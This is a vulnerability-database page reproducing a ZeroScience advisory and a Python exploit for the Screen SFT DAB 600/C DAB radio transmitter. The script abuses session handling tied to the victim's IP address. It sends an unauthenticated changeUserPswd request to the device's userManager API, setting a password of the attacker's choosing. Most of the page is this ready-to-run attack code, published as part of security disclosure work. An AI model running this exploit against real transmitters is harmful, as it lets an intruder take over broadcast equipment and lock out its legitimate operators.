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Screen SFT DAB 600/C Authentication Bypass Password Change Exploit

๐Ÿ—“๏ธย 13 May 2023ย 00:00:00Reported byย Gjoko KrsticTypeย 
zeroscience
ย zeroscience๐Ÿ”—ย www.zeroscience.mk๐Ÿ‘ย 405ย Views

Screen's SFT DAB 600/C Authentication Bypass Exploit allows unauthorized access to manage and manipulate the affected transmitter. Weak session management permits an attacker to bypass controls and issue unauthorized requests via reusing the victim's IP address

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<html><body><p>#!/usr/bin/env python3
#
#
# Screen SFT DAB 600/C Authentication Bypass Password Change Exploit
#
#
# Vendor: DB Elettronica Telecomunicazioni SpA
# Product web page: https://www.screen.it | https://www.dbbroadcast.com
#                   https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
# Affected version: Firmware: 1.9.3
#                   Bios firmware: 7.1 (Apr 19 2021)
#                   Gui: 2.46
#                   FPGA: 169.55
#                   uc: 6.15
#
# Summary: Screen's new radio DAB Transmitter is reaching the highest
# technology level in both Digital Signal Processing and RF domain.
# SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
# digital adaptive precorrection and configuatio flexibility, the Hot
# Swap System technology, the compactness and the smart system design,
# the SFT DAB are advanced transmitters. They support standards DAB,
# DAB+ and T-DMB and are compatible with major headend brands.
#
# Desc: The application suffers from a weak session management that can
# allow an attacker on the same network to bypass these controls by reusing
# the same IP address assigned to the victim user (NAT) and exploit crucial
# operations on the device itself. By abusing the IP address property that
# is binded to the Session ID, one needs to await for such an established
# session and issue unauthorized requests to the vulnerable API to manage
# and/or manipulate the affected transmitter.
#
# Tested on: Keil-EWEB/2.1
#            MontaVistaยฎ Linuxยฎ Carrier Grade eXpress (CGX)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2023-5772
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5772.php
#
#
# 19.03.2023
#

import hashlib,datetime##########
import requests,colorama#########
from colorama import Fore, Style#
colorama.init()
print(Fore.RED+Style.BRIGHT+
    '''
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  
โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ   โ–ˆโ–ˆ 
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  
โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ  โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ   โ–ˆโ–ˆ 
โ–ˆโ–ˆ   โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ      โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ   โ–ˆโ–ˆ 
    '''
    +Style.RESET_ALL)
print(Fore.WHITE+Style.BRIGHT+
    '''
            ZSL and the Producers insist that no one
           submit any exploits of themselfs or others
              performing any dangerous activities.
                 We will not open or view them.
    '''
    +Style.RESET_ALL)
s=datetime.datetime.now()
s=s.strftime('%d.%m.%Y %H:%M:%S')
print('Starting API XPL -',s)
t=input('Enter transmitter ip: ')
u=input('Enter desired username: ')
p=input('Enter desired password: ')
e='/system/api/userManager.cgx'
m5=hashlib.md5()
m5.update(p.encode('utf-8'))
h=m5.hexdigest()
print('Your sig:',h)
print('Calling object: ssbtObj')
print('CGX fastcall: userManager::changeUserPswd')
t='http://'+t+e
bh={'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept':'application/json, text/plain, */*',
    'Accept-Language':'ku-MK,en;q=0.9',
    'Accept-Encoding':'gzip, deflate',
    'User-Agent':'Dabber+',
    'Connection':'close'}
j={'ssbtIdx':0,
   'ssbtType':'userManager',
   'ssbtObj':{
             'changeUserPswd':{
                              'username':u,
                              'password':h
                              }
             },
   }
r=requests.post(t,headers=bh,json=j)
if r.status_code==200:
    print('Done.')
else:
    print('Error')
exit(-4)
</p></body></html>

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13 May 2023 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.5
CVSS 49.3
EPSS0.00518
SSVC
screen sft dab 600/cauthentication bypassexploitweak session managementvulnerabilityunauthorized accesstransmitter manipulationip address propertypublic security advisoryvendor statusvulnerability discovery
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